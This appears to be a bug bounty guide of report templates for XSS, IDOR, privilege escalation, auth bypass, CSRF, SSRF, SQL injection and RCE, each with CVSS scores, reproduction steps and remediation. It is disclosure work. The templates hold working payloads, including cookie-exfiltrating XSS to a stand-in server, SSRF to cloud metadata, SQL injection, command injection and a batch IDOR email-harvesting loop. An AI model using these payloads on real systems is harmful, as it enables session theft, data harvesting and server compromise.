Loading...
Ready-to-submit bug bounty report templates — XSS, IDOR, SSRF, SQLi, RCE, and more. Each template includes CVSS scoring, reproduction steps, and remediation
Reflected, Stored, DOM, and Blind XSS — four complete templates ready to submit
Cross-Site Scripting reports are the most submitted bug bounty findings — and the most rejected for poor documentation. Each XSS variant requires different evidence. Reflected XSS needs a crafted URL. Stored XSS needs persistence proof. Blind XSS needs a collaborator callback. DOM XSS needs the browser's execution context. These templates cover every case with platform-approved formatting.
Reflected XSS requires a working proof-of-concept URL that demonstrates script execution in the browser. The report must include the full request, the vulnerable parameter, the payload, and a screenshot of execution. Most programs also want to see that alert() fires without Same-Origin Policy violations.
## Reflected XSS — Report Template
**Title:** Reflected Cross-Site Scripting (XSS) in [PARAMETER] parameter of [ENDPOINT]
**Severity:** Medium (CVSS: 6.1 — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
**Description:**
The `[PARAMETER]` parameter in `[ENDPOINT]` reflects user input without proper sanitization. An attacker can craft a URL that, when visited by a victim, executes arbitrary JavaScript in the victim's browser within the context of the application.
**Impact:**
An attacker can steal session cookies, perform actions on behalf of the victim, deface pages, or redirect users to malicious sites — all without requiring any privileges or user interaction beyond clicking a link.
**Steps to Reproduce:**
1. Visit the following URL in a modern browser:
`https://target.com/[ENDPOINT]?[PARAMETER]=<script>alert(document.domain)</script>`
2. Observe that the JavaScript alert box fires, showing the target's domain.
3. The payload executes without any CSP violations or browser warnings.
**Proof of Concept (Raw Request):**
```http
GET /[ENDPOINT]?[PARAMETER]=<script>alert(document.domain)</script> HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Accept: text/html
```
**Remediation:**
- Encode HTML entities: `<` → `<`, `>` → `>`, `"` → `"`, `'` → `'`
- Use Content-Security-Policy with strict nonce-based script-src
- Apply context-aware output encoding based on the HTML context (attribute, tag, event handler)Reflected XSS report template — includes CVSS, impact, reproduction steps, raw HTTP PoC, and remediation
curl -v 'https://target.com/search?q=<script>alert(document.domain)</script>' 2>&1 | head -30Generate the PoC request output — paste the response showing the injected script reflecting unfiltered
curl -s -o /dev/null -w 'PoC URL length: %{size_request} bytes | Status: %{http_code}' 'https://target.com/search?q=<script>alert(document.domain)</script>'Quick PoC verification — confirm the URL is valid and returns 200 before including in the report
cat << 'EOF' > reflected-xss-poc.html
<!DOCTYPE html><html><head><title>XSS PoC</title></head><body>
<h2>Reflected XSS PoC</h2>
<p>Click the link to trigger the vulnerability:</p>
<a href="https://target.com/search?q=<script>alert(document.domain)</script>" target="_blank">Trigger XSS</a>
<p>Or use this iframe:</p>
<iframe src="https://target.com/search?q=<script>alert(1)</script>" width="800" height="400"></iframe>
</body></html>
EOFSelf-contained HTML PoC file — send this to the program so they can open it locally and see the XSS fire
cat << 'EOF' > xss-report-summary.txt
Vulnerability: Reflected XSS
Endpoint: /search
Parameter: q
Payload: <script>alert(document.domain)</script>
CSP Status: No CSP / CSP Bypassed
Auth Required: No
User Interaction: Click link
CVSS: 6.1 (Medium)
EOFOne-line summary block — paste at the top of your report for quick triage by the program's security team
TIPS
Stored XSS is the most severe XSS variant because it affects every visitor without user interaction. The report must prove persistence — the payload executes every time the page loads, not just once. Include a second visit to the same page without re-injecting the payload to demonstrate it's stored server-side.
## Stored XSS — Report Template
**Title:** Stored Cross-Site Scripting (XSS) in [FIELD] of [PAGE] — affects all users
**Severity:** High (CVSS: 8.7 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N)
**URL:** https://target.com/[VICTIM_PAGE]
**Description:**
The `[FIELD]` field in `[PAGE]` stores user-supplied input and renders it on the page without sanitization. Unlike reflected XSS, no crafted link is needed — any user visiting the affected page will execute the payload automatically.
**Impact:**
- Automatic session hijacking for all visitors (no user interaction)
- Phishing attacks by modifying the page content in real-time
- Keylogging, form grabbing, and CSRF token theft for every user
- Worm potential: the payload can self-replicate by posting the same payload back
**Steps to Reproduce:**
1. Submit the following payload in the `[FIELD]` field:
`<script>fetch("https://YOUR-SERVER/?c="+document.cookie)</script>`
2. Navigate away from the page, then return to `https://target.com/[VICTIM_PAGE]`
3. Observe that the payload executes again — no re-injection needed
4. Check YOUR-SERVER logs for the incoming cookie — proves real data exfiltration
**Proof of Concept:**
[Attach screenshot showing the payload field and the executed script on reload]
[Attach collaborator log showing the cookie callback]
**Remediation:**
- Apply output encoding based on HTML context
- Use Content-Security-Policy with strict script-src
- Sanitize input server-side using a library (DOMPurify, OWASP Java HTML Sanitizer)
- Consider using a nonce-based CSP that renders stored scripts inertStored XSS report template — higher severity due to automatic execution without user interaction
echo '<script>fetch("https://YOUR-SERVER/?c="+document.cookie)</script>' > stored-payload.txt && cat stored-payload.txtCookie-stealing stored XSS payload — paste this into the vulnerable field to demonstrate real data exfiltration
tail -f /var/log/cookie-server.log | grep -i 'cookie'Watch for incoming cookie callbacks on your server — screenshot this as proof of real-world impact
cat << 'EOF' > stored-xss-evidence.sh
#!/bin/bash
# Step 1: Inject payload
curl -s -X POST 'https://target.com/profile/bio' -d 'bio=<script>document.cookie</script>' -H 'Cookie: SESSION' -o /dev/null -w 'Injection: %{http_code}\n'
# Step 2: Verify persistence (visit again)
curl -s 'https://target.com/profile/public' | grep -i 'script\|<\/script>'
echo 'If script tags appear in the HTML output, XSS is stored server-side'
EOFEvidence automation script: inject the payload, re-visit the page, and check if the script tag persists in HTML
cat << 'EOF' > stored-xss-report-summary.txt
Vulnerability: Stored XSS
Location: User profile → bio field
Viewable at: /profile/public
Payload: <script>fetch("https://SERVER/?c="+document.cookie)</script>
Persistence: Confirmed (executes on page reload)
Victim Impact: All visitors to /profile/public are affected automatically
CVSS: 8.7 (High)
EOFStored XSS summary block — highlight the persistence and automatic execution for the triage team
TIPS
Blind XSS fires in an internal dashboard, admin panel, or support ticket system — you never see it execute. Your proof is the collaborator callback. This is the hardest XSS to confirm but often the highest payout. The report must prove the callback came from the target's infrastructure, not an external scanner.
## Blind XSS — Report Template
**Title:** Blind Cross-Site Scripting (XSS) in [INPUT_FIELD] — triggers in internal admin panel
**Severity:** High (CVSS: 8.2 — AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N)
**Description:**
The `[INPUT_FIELD]` field in `[PAGE]` is vulnerable to blind XSS. User input is stored and later rendered by an internal system (admin panel, support dashboard, or moderation interface) without sanitization. The payload executes when an internal user views the affected page.
**Impact:**
- Session hijacking of admin/support accounts with elevated privileges
- Internal network scanning from the victim's browser context
- Access to internal tools, dashboards, and management interfaces
- Data exfiltration from backend systems not exposed to the internet
**Steps to Reproduce:**
1. Set up a collaborator: `interactsh-client -v`
2. Submit the following blind XSS payload in the `[INPUT_FIELD]`:
`<script>fetch("http://[YOUR-COLLABORATOR-URL]/exfil?q="+document.cookie)</script>`
3. Wait for an internal user to view the submitted data
4. [x] seconds/minutes/hours later, the collaborator receives a callback
**Proof of Concept (Collaborator Log):**
```
[ATTACH SCREENSHOT OF INTERACTSH/BURP COLLABORATOR LOG]
[INCLUDE DNS/HTTP callback evidence with timestamps]
[NOTE: IP address of callback matches the target's infrastructure CIDR range]
```
**Remediation:**
- Apply HTML encoding on all user-supplied data in internal interfaces
- Implement strict CSP headers on admin panels
- Sanitize input at the point of storage, not just displayBlind XSS report template — requires collaborator callback proof since you can't see execution directly
interactsh-client -v 2>&1 | tee interactsh.logStart Interactsh client with verbose logging — capture the exact DNS/HTTP callback as evidence
curl -s -X POST 'https://target.com/support/ticket' -d 'message=<script>fetch("http://[INTERACTSH_URL]/?q="+document.cookie)</script>&subject=Blind+XSS+test' -H 'Cookie: SESSION'Submit the blind XSS payload to a support ticket, feedback form, or report system — targets an internal viewer
cat interactsh.log | grep -i 'http\|dns' | head -10Extract collaborator callback evidence — timestamp, type (HTTP/DNS), and the exfiltrated data if any
cat << 'EOF' > blind-xss-evidence.txt
Callback Evidence
=================
Time: $(date -u)
Collaborator URL: [YOUR-INTERACTSH-ID]
Callback Type: HTTP/DNS Request
Source IP: [TARGET_IP_RANGE]
Exfiltrated Data: [cookie / page content if received]
Headers: [list of HTTP headers from callback]
Impact Confirmation:
- Admin panel is accessible from an internal network
- JavaScript execution confirmed in internal browser
- Cookie exfiltration from admin session confirmed
EOFBlind XSS evidence log — format the collaborator callback data into a clean evidence block for the report
TIPS
TOOLS IN THIS CHAPTER
Collaborator callback service for blind XSS confirmation — captures HTTP, DNS, and SMTP interactions
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestSend HTTP requests for PoC reproduction — include raw curl output in the report as evidence
apt install curlBurp Suite's built-in collaborator client for OOB detection — generates unique subdomains for each test
You now have four complete XSS report templates: reflected (with PoC URL), stored (with persistence proof), and blind (with collaborator callback evidence). Each template includes CVSS scoring, impact description, reproduction steps, and remediation — formatted for immediate submission to any bug bounty platform.
IDOR, Privilege Escalation, and Auth Bypass reports with reproduction chains
Access control vulnerabilities pay the highest bounties because they directly lead to data breaches. But they're also the most scrutinized — programs want proof that you accessed another user's data, not your own. These templates focus on demonstrating unauthorized access with clear chain-of-custody evidence using two test accounts.
An IDOR report must prove you accessed data belonging to a DIFFERENT user using YOUR session. Create two accounts, capture both session tokens, and show that User A's session can read User B's data. The report must include both requests side-by-side with the different identifiers highlighted.
## IDOR — Report Template
**Title:** Insecure Direct Object Reference (IDOR) in [ENDPOINT] — unauthorized access to [DATA_TYPE]
**Severity:** High (CVSS: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
**Description:**
The `[ENDPOINT]` endpoint accepts a user-supplied identifier (`[ID_PARAM]`) without verifying ownership. By substituting another user's ID, an attacker can access their [data type — profile, documents, orders] without authorization.
**Two-Account Confirmation:**
- Account A (victim): ID = [VICTIM_ID]
- Account B (attacker): Session Cookie = [ATTACKER_SESSION]
**Steps to Reproduce:**
1. Log in as Account A (victim) and capture their user ID: `[VICTIM_ID]`
2. Log in as Account B (attacker) and capture the session cookie
3. Using Account B's session, send a request targeting Account A's ID:
`curl -s 'https://target.com/[ENDPOINT]/[VICTIM_ID]/[DATA]' -H 'Cookie: [ATTACKER_SESSION]'`
4. Observe that the response contains Account A's private data
**Impact:**
- Unauthorized access to [COUNT] user records including [data types: PII, financial, medical]
- Potential for mass data extraction by iterating through user IDs
- [If applicable: ability to modify/delete another user's data]
**Remediation:**
- Replace user-supplied IDs with session-derived identifiers
- Implement server-side ownership checks before returning data
- Use UUIDs instead of sequential integers (defense-in-depth, not a complete fix)
- Log and monitor access to sensitive endpoints for anomalous ID patternsIDOR report template with two-account confirmation methodology — the gold standard for access control reports
curl -s 'https://target.com/api/user/VICTIM_ID/profile' -H 'Cookie: ATTACKER_SESSION' | jq '{email: .email, role: .role, id: .id}'IDOR PoC command — replace VICTIM_ID with another user's ID and ATTACKER_SESSION with your session cookie
diff <(curl -s 'https://target.com/api/user/MY_ID/profile' -H 'Cookie: MY_SESSION' | jq -c) <(curl -s 'https://target.com/api/user/VICTIM_ID/profile' -H 'Cookie: MY_SESSION' | jq -c)Two-user diff PoC: same session, two different user IDs — if output differs, IDOR is confirmed (same session accessed two users)
cat << 'EOF' > idor-evidence.txt
IDOR Confirmation — Two Account Method
========================================
Victim Account ID: [VICTIM_ID]
Attacker Session: [ATTACKER_SESSION] (logged in as User B)
Request to Victim's Data:
GET /api/user/[VICTIM_ID]/profile HTTP/1.1
Cookie: [ATTACKER_SESSION]
Response Highlights:
- Email: victime@target.com (different from attacker's email)
- Role: admin (if victim is admin, privilege escalation component)
- Private fields exposed: [list fields]
Total Users Exposed: [COUNT] (verified by iterating IDs X through Y)
EOFIDOR evidence template — documents the exact request/response that confirms unauthorized access
for id in $(seq 1000 1010); do echo "User $id: $(curl -s "https://target.com/api/user/$id/profile" -H "Cookie: SESSION" | jq -r '.email // "not found"')"; doneBatch IDOR PoC — iterate through user IDs and extract emails, proving mass data exposure in one command
TIPS
Privilege Escalation reports require demonstrating that a low-privilege user can access admin functionality. Create two accounts (user + admin), capture requests from the admin session, and replay them with the user session. The key is showing the same endpoint returns admin-only data regardless of who sends the request.
## Privilege Escalation — Report Template
**Title:** Privilege Escalation — [ROLE] can access [ADMIN_FUNCTIONALITY]
**Severity:** Critical (CVSS: 9.1 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)
**Description:**
The `[ENDPOINT]` endpoint performs server-side admin checks on the client side but fails to enforce them server-side. A user with `[ROLE]` privileges can access and modify resources reserved for system administrators.
**Steps to Reproduce:**
1. Log in as a standard user and capture the session cookie
2. Log in as an administrator and capture their session cookie
3. Using the admin session, identify a privileged endpoint:
`curl -s 'https://target.com/admin/users/list' -H 'Cookie: ADMIN_SESSION'`
4. Replay the same request using the standard user session:
`curl -s 'https://target.com/admin/users/list' -H 'Cookie: USER_SESSION'`
5. Compare responses — if they return identical data, privilege escalation is confirmed
**Impact:**
- Unauthorized access to admin panel and sensitive functionality
- Ability to create, modify, or delete user accounts
- [If applicable: access to billing, configuration, or infrastructure management]
**Remediation:**
- Enforce server-side role checks on every endpoint, not just in the frontend
- Use a centralized authorization middleware, not per-endpoint checks
- Test role enforcement with automated tools (Autorize, AuthMatrix)
- Audit all admin endpoints for missing role verificationPrivilege Escalation report template — demonstrates role bypass by comparing admin vs user responses
diff <(curl -s -H 'Cookie: USER_SESSION' 'https://target.com/admin/users' | jq -c .) <(curl -s -H 'Cookie: ADMIN_SESSION' 'https://target.com/admin/users' | jq -c .)PrivEsc PoC: diff the response from user session vs admin session — if identical, admin auth is not enforced
curl -s -X POST 'https://target.com/admin/users/create' -H 'Cookie: USER_SESSION' -H 'Content-Type: application/json' -d '{"email":"pwned@test.com","role":"admin"}'Escalation PoC: attempt to create an admin user using a standard user's session — proves privilege escalation
cat << 'EOF' > privesc-evidence.txt
Privilege Escalation Confirmation
==================================
Admin Endpoint: /admin/users/list
Admin Session: Status 200 — returned full user list (see admin-response.json)
User Session: Status 200 — returned IDENTICAL user list (see user-response.json)
Verified Actions:
[x] Read admin data
[x] Create user with admin role
[x] Delete existing user
[x] Access system configuration
EOFPrivilege escalation evidence template — track which admin actions are accessible from the user session
TIPS
Authentication bypass reports cover everything from direct access to protected pages (no cookie needed) to SQL injection in login forms that returns any account. These are the most severe access control issues. The template below covers the most common pattern: accessing authenticated endpoints without any session token.
## Authentication Bypass — Report Template
**Title:** Authentication Bypass — [ENDPOINT] accessible without authentication
**Severity:** Critical (CVSS: 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
**URL:** https://target.com/[AUTH_REQUIRED_ENDPOINT]
**Description:**
The `[ENDPOINT]` endpoint is designed for authenticated users only but does not verify the session token server-side. Sending a request with no cookie, an expired cookie, or a manipulated cookie returns the same response as a valid authenticated request.
**Impact:**
- Full access to authenticated functionality without logging in
- [If API: complete API access without authentication]
- Potential for account takeover, data breach, or complete system compromise
**Steps to Reproduce:**
1. Attempt to access the endpoint WITHOUT any authentication:
`curl -s 'https://target.com/[ENDPOINT]'`
2. Now access it WITH a valid session:
`curl -s 'https://target.com/[ENDPOINT]' -H 'Cookie: [VALID_SESSION]'`
3. Compare the two responses — if they match, authentication is not enforced
**Additional Verification:**
- Test with modified cookie: `curl -s 'https://target.com/[ENDPOINT]' -H 'Cookie: session=invalid'`
- Test with expired cookie from a logged-out session
- Test with different HTTP methods on the same endpoint
**Remediation:**
- Implement a centralized authentication middleware that checks session validity on every request
- Use framework-level auth decorators/attributes rather than manual session checks
- Apply authentication checks to ALL endpoints in the route, including nested resources
- Conduct an auth audit: access every endpoint without credentials programmaticallyAuth bypass report — covers unauthenticated access to protected endpoints with multi-method verification
diff <(curl -s 'https://target.com/admin/dashboard') <(curl -s 'https://target.com/admin/dashboard' -H 'Cookie: ANY_SESSION')Auth bypass PoC: compare no-auth response vs any-session response — if they match, auth is not enforced
curl -s -o /dev/null -w '%{http_code}' 'https://target.com/admin/dashboard' && curl -s -o /dev/null -w ' | with session: %{http_code}' -H 'Cookie: invalid' 'https://target.com/admin/dashboard'Quick auth check: compare HTTP status codes with and without a fake session cookie
cat live-urls.txt | grep -i '/admin\|/api\|/dashboard\|/internal\|/manage' | httpx -silent -mc 200 -o unprotected-admin.txtScan for auth bypasses at scale: probe admin endpoints and filter for 200 responses (should be 302/401)
curl -s 'https://target.com/api/internal/users' | head -5 && echo '---' && curl -s 'https://target.com/api/internal/users' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.dummy' | head -5Test JWT auth bypass: compare no-auth vs fake-JWT — some backends only check JWT structure, not signature
TIPS
Cross-Site Request Forgery (CSRF) lets an attacker perform state-changing actions on behalf of a victim without their consent. The classic PoC is a self-submitting HTML form. Modern CSRF requires bypassing SameSite cookies, custom headers, or CSRF tokens. The report must include the HTML PoC and demonstrate the action executes with the victim's session.
## CSRF — Report Template
**Title:** Cross-Site Request Forgery (CSRF) in [ENDPOINT] — unauthorized [ACTION]
**Severity:** Medium (CVSS: 6.5 — AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)
**Description:**
The `[ENDPOINT]` endpoint performs sensitive actions ([ACTION]) without requiring a CSRF token or validating origin headers. An attacker can craft a malicious page that, when visited by an authenticated user, performs this action on their behalf without their knowledge or consent.
**Impact:**
- Unauthorized [action: password change, email update, fund transfer, privilege escalation]
- Account takeover when combined with email change functionality
- Data modification or deletion without authorization
**Steps to Reproduce:**
1. Log in to the target application in one browser tab
2. Open the following HTML file in a DIFFERENT browser tab:
```html
<html><body>
<form action="https://target.com/[ENDPOINT]" method="POST">
<input type="hidden" name="[PARAM]" value="[VALUE]">
</form>
<script>document.forms[0].submit();</script>
</body></html>
```
3. Observe that the action executed successfully using the victim's session
4. The action completes without any CSRF token, captcha, or confirmation prompt
**Proof of Concept (PoC HTML):**
[Attach the PoC HTML file or paste it inline]
[Attach screenshot of the action being executed from the attacker's page]
**Remediation:**
- Implement anti-CSRF tokens bound to the user session
- Set SameSite=Lax or SameSite=Strict on session cookies
- Validate Origin and Referer headers on server-side
- Require re-authentication for sensitive actions (password change, 2FA disable)
- Use Custom Request Headers (X-Requested-By) as a CSRF mitigationCSRF report template with self-submitting HTML form PoC — the industry-standard way to demonstrate CSRF
cat << 'EOF' > csrf-poc.html
<html><body>
<h2>CSRF PoC - Email Change</h2>
<form action="https://target.com/api/user/email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="confirm" value="attacker@evil.com">
</form>
<script>document.forms[0].submit();</script>
</body></html>
EOFSelf-submitting CSRF PoC HTML — change the action URL and hidden fields to match the vulnerable endpoint
# Test SameSite cookie behavior
curl -s -I 'https://target.com' -o /dev/null -w '%header{set-cookie}' | grep -i 'samesite'Check if the target's cookies have SameSite protection — missing SameSite=Lax/Strict means CSRF is more likely
cat << 'EOF' > csrf-evidence.txt
CSRF Confirmation
==================
Vulnerable Endpoint: /api/user/email
HTTP Method: POST
Action Performed: Changed victim's email to attacker-controlled email
CSRF Protections Bypassed:
[x] CSRF Token — NOT required (no token parameter in request)
[x] Origin Header — NOT validated (any origin works)
[x] SameSite Cookie — [Lax / None / Not set]
[x] Captcha — NOT required
PoC: See attached csrf-poc.html
Open the HTML file in any browser while logged in to trigger the CSRF
EOFCSRF evidence template — document which protections were tested and bypassed
curl -s -X POST 'https://target.com/api/user/email' -H 'Origin: https://evil.com' -H 'Referer: https://evil.com/csrf.html' -H 'Cookie: SESSION' -d 'email=pwned@evil.com' -o /dev/null -w 'Status: %{http_code}\n'CSRF via curl — set a fake Origin/Referer header to test if the server validates them (should reject if secure)
# Modern CSRF bypass: SameSite=None + cross-site redirect
# Some apps set SameSite=None which allows cross-site form submissions
curl -s -I 'https://target.com/auth/login' 2>&1 | grep -i 'samesite'Check for SameSite=None — modern CSRF vector where the app explicitly allows cross-site requests
TIPS
TOOLS IN THIS CHAPTER
JSON processor for comparing API responses and extracting differences between user/admin sessions
apt install jqBurp extension for automatic authorization detection — compares responses across user sessions
Standard Unix diff tool for comparing authenticated vs unauthenticated responses side-by-side
You now have complete templates for IDOR, privilege escalation, and authentication bypass reports — the three access control findings that pay the highest bounties. Each template uses the two-account methodology and includes side-by-side response comparison for bulletproof evidence.
SSRF, SQLi, RCE, and File Upload reports with full reproduction chains
Server-side vulnerabilities are the most technically complex to report. Programs need clear, step-by-step reproduction that they can follow without your specific setup. These templates focus on making every PoC reproducible with standard tools — curl, nuclei, and built-in OS commands — so the triage team can verify without asking you for clarification.
SSRF reports must prove the server made an outbound request to a destination you controlled. The strongest evidence is a collaborator callback showing the server's IP and the exact time of the request. For blind SSRF, the collaborator log is your only proof. For reflected SSRF, include the response data from the internal request.
## SSRF — Report Template
**Title:** Server-Side Request Forgery (SSRF) in [PARAMETER] — internal network access
**Severity:** High (CVSS: 8.6 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
**Description:**
The `[PARAMETER]` parameter in `[ENDPOINT]` accepts a URL and fetches it server-side without proper validation. An attacker can make the server send requests to internal services, cloud metadata endpoints, and otherwise inaccessible systems.
**Impact:**
- Internal network scanning and service discovery
- Access to cloud metadata service (IAM credentials on AWS/GCP/Azure)
- Interaction with internal services (Redis, MySQL, Elasticsearch)
- [If applicable: access to internal admin interfaces]
**Steps to Reproduce:**
1. Set up a collaborator listener: `interactsh-client -v`
2. Inject the collaborator URL into the parameter:
`curl -s 'https://target.com/[ENDPOINT]?[PARAMETER]=http://[COLLABORATOR_URL]/test'`
3. Observe the incoming HTTP/DNS request in the collaborator logs
4. Confirm the source IP matches the target's infrastructure range
5. (Optional) Test internal access:
`curl -s 'https://target.com/[ENDPOINT]?[PARAMETER]=http://169.254.169.254/latest/meta-data/'`
**Proof of Concept:**
[Collaborator log screenshot showing callback with timestamp]
[If metadata accessible: attach the IAM role and credential response]
**Remediation:**
- Implement a strict allowlist of permitted URLs/domains
- Block private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- Disable gopher, dict, and file URI schemes — only allow https://
- Use a URL parser that resolves DNS and checks the resolved IP, not just the hostname stringSSRF report template — covers collaborator-based detection with cloud metadata exploitation chain
curl -s 'https://target.com/fetch?url=http://YOUR-COLLABORATOR.oastify.com/ssrf-test' -o /dev/null -w 'Status: %{http_code}\n'SSRF PoC command — inject collaborator URL into the parameter and check for callbacks
cat interactsh.log | grep -i 'http\|dns' | awk '{print $1, $2, $3, $4}'Extract collaborator callback evidence — timestamps and source IPs for the SSRF proof
cat << 'EOF' > ssrf-evidence.txt
SSRF Confirmation
=================
Vulnerable Endpoint: /fetch
Vulnerable Parameter: url
Payload: http://[COLLABORATOR]/ssrf-test
Collaborator Callback:
- Time: [TIMESTAMP]
- Type: HTTP Request
- Source IP: [TARGET_IP] (matches target's ASN/range)
- Request URI: /ssrf-test
Metadata Access:
- 169.254.169.254: [ACCESSIBLE / BLOCKED]
- IAM Role: [ROLE_NAME if accessible]
- Internal Ports: [LIST OF REACHABLE PORTS]
EOFSSRF evidence template with collaborator callback and metadata access status
TIPS
SQLi reports need to demonstrate database interaction beyond boolean responses. Time-based SQLi requires showing a significant delay (5+ seconds) that only occurs with a sleep payload. Error-based SQLi requires the actual database error message. UNION-based SQLi needs extracted data in the response. Always include the exact payload that works.
## SQL Injection — Report Template
**Title:** SQL Injection in [PARAMETER] — [DATABASE_TYPE] database fingerprinting and data extraction
**Severity:** Critical (CVSS: 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
**URL:** https://target.com/[ENDPOINT]?[PARAMETER]=[VULNERABLE_VALUE]
**Description:**
The `[PARAMETER]` parameter is vulnerable to SQL injection. User input is concatenated directly into SQL queries without parameterization, allowing an attacker to manipulate database queries, extract data, and potentially execute commands on the database server.
**Impact:**
- Complete database compromise: read, modify, and delete all data
- Authentication bypass (if login query is injectable)
- [If applicable: RCE via xp_cmdshell or similar database features]
- Potential data breach of all user records, credentials, and sensitive data
**Steps to Reproduce:**
1. Confirm injection with a time-based payload:
`curl -s 'https://target.com/[ENDPOINT]?[PARAMETER]=[VALUE]' AND SLEEP(5)-- -`
Observe ~5 second response delay vs ~0.2s normal response
2. Extract database version:
`curl -s 'https://target.com/[ENDPOINT]?[PARAMETER]=[VALUE]' UNION SELECT @@version,2,3-- -`
3. Extract table names:
`curl -s 'https://target.com/[ENDPOINT]?[PARAMETER]=[VALUE]' UNION SELECT table_name,2,3 FROM information_schema.tables-- -`
**Proof of Concept:**
[Attach the time-delay comparison: normal vs sleep response]
[Attach extracted data: database version, user, table names]
**Remediation:**
- Use parameterized queries (prepared statements) for ALL database operations
- Apply strict input validation — reject unexpected characters rather than escaping them
- Use a WAF as defense-in-depth (not a replacement for parameterized queries)
- Run database with least-privilege principle — separate read/write accountsSQLi report template — time-based confirmation, UNION extraction, and database fingerprinting chain
time curl -s 'https://target.com/api/users?id=1' -o /dev/null -w 'Normal: %{time_total}s\n' && time curl -s 'https://target.com/api/users?id=1%20AND%20SLEEP(5)--%20-' -o /dev/null -w 'SLEEP(5): %{time_total}s\n'Time-based SQLi PoC: run the normal request and the SLEEP(5) request back-to-back — the delay proves injection
curl -s 'https://target.com/api/users?id=1%20UNION%20SELECT%20@@version,2,3--%20-' | head -5UNION-based extraction: replace @@version with database(), user(), or table_name FROM information_schema.tables
curl -s 'https://target.com/api/users?id=1%27%22%60' | grep -i 'sql\|error\|warning\|mysql\|ora' | head -5Error-based detection: send a quote/backtick to trigger a database error message in the response
cat << 'EOF' > sqli-evidence.txt
SQL Injection Confirmation
==========================
Vulnerable Endpoint: /api/users
Vulnerable Parameter: id
Database Type: [MySQL / PostgreSQL / MSSQL / Oracle]
Evidence:
[x] Time-based: SLEEP(5) caused [X] second delay (normal: [Y] seconds)
[x] Error-based: Database error message returned with special characters
[x] UNION-based: [N] columns detected, version extracted: [DB_VERSION]
Extracted Data:
- Database version: [VERSION]
- Current user: [DB_USER]
- Database name: [DB_NAME]
EOFSQLi evidence template — document each confirmation method and extracted data points
TIPS
RCE reports are the ultimate finding. The report must prove code execution with a benign command (id, hostname, whoami) and show the server's response. The PoC should use a non-destructive command — never delete files, modify data, or install backdoors. File upload RCE reports need to show both the upload and the file execution.
## Remote Code Execution — Report Template
**Title:** Remote Code Execution (RCE) via [VECTOR] — full server compromise
**Severity:** Critical (CVSS: 10.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
**Description:**
[VECTOR] allows an unauthenticated attacker to execute arbitrary system commands on the server. This provides complete control over the application, its data, and potentially the underlying infrastructure.
**Impact:**
- Full server compromise: execute any system command
- Read, modify, or delete all application data and source code
- Pivot to internal network services and databases
- [If applicable: access to cloud metadata and cloud resource manipulation]
**Steps to Reproduce:**
1. Execute a non-destructive command to confirm RCE:
`curl -s 'https://target.com/[ENDPOINT]' -d '[PARAMETER]=;id'`
2. The server response includes the output of `id`:
`uid=33(www-data) gid=33(www-data) groups=33(www-data)`
3. Confirm the hostname for additional context:
`curl -s 'https://target.com/[ENDPOINT]' -d '[PARAMETER]=;hostname'`
**Proof of Concept:**
[Attach screenshot of the id command response in the HTTP response body]
[Attach screenshot of the hostname command response]
**Remediation:**
- Never pass user input directly to system(), exec(), shell_exec(), or eval()
- Use safe APIs and parameterized system calls
- Apply strict allowlist-based input validation
- Run the application in a sandboxed or containerized environment with minimal OS access
- Implement a Web Application Firewall (WAF) as defense-in-depthRCE report template — uses non-destructive id/hostname commands to prove full server control
curl -s -X POST 'https://target.com/debug' -d 'cmd=id' | grep -oE 'uid=[0-9]+[^<]+'RCE PoC: send the id command and extract the uid/gid response — proves command execution
curl -s 'https://target.com/cgi-bin/status?command=hostname' | head -5Alternative RCE test: some systems expose command injection in CGI scripts — test with hostname, whoami, ls
cat << 'EOF' > rce-evidence.txt
RCE Confirmation
=================
Vector: [Parameter injection / File upload / Deserialization]
Endpoint: [URL]
Executed Commands:
[x] id → uid=33(www-data) gid=33(www-data)
[x] hostname → ip-10-0-1-234.ec2.internal
[x] pwd → /var/www/html
[x] ls -la / → [show app directory if sensitive data found]
Files Accessed:
- /etc/passwd: [READABLE / NOT]
- /etc/shadow: [READABLE / NOT]
- /var/www/html/.env: [Contains DB credentials if available]
EOFRCE evidence template — document every command executed and what data was accessible
TIPS
TOOLS IN THIS CHAPTER
Automated SQL injection tool — use for extraction but verify payloads manually for the report
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap && cd sqlmap && python3 sqlmap.pyCollaborator for SSRF confirmation — captures outbound HTTP/DNS requests from the target server
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestBash built-in for measuring command duration — essential for time-based SQLi proof
You now have complete server-side report templates for SSRF, SQLi, and RCE — the three most technically complex vulnerabilities to document. Each template includes collaborator evidence, time-based comparisons, and non-destructive command execution for bulletproof PoCs that programs can verify.
Tailor each template for HackerOne, Bugcrowd, and private programs
A good template becomes a great report when you customize it for the platform and program. HackerOne expects clear language and triage-friendly formatting. Bugcrowd requires Mediation-Ready Proof-of-Concept. Private programs have specific scopes and exclusions. This chapter teaches you to adapt templates, use CVSS correctly, and avoid common report rejection reasons.
Every program has different requirements. Some want video PoCs. Others want only curl commands. Some reject reports with screenshots. Read the program's disclosure policy before submitting. The golden rule: make the triage team's job as easy as possible. A report that takes 30 seconds to verify gets accepted faster than one that takes 30 minutes.
cat << 'EOF' > customize-report.sh
#!/bin/bash
# Customize this template before submitting
# 1. Replace placeholders
echo 'Checking for [PLACEHOLDER] values...'
grep -n '\[.*\]' report-template.md && echo 'UNCOMMITTED PLACEHOLDERS FOUND!' || echo 'All placeholders filled'
# 2. Check for 200+ character lines (URLs might wrap in plaintext)
awk 'length>200{print NR": "length" chars"}' report-template.md
# 3. Count reproduction steps (should be 3-6)
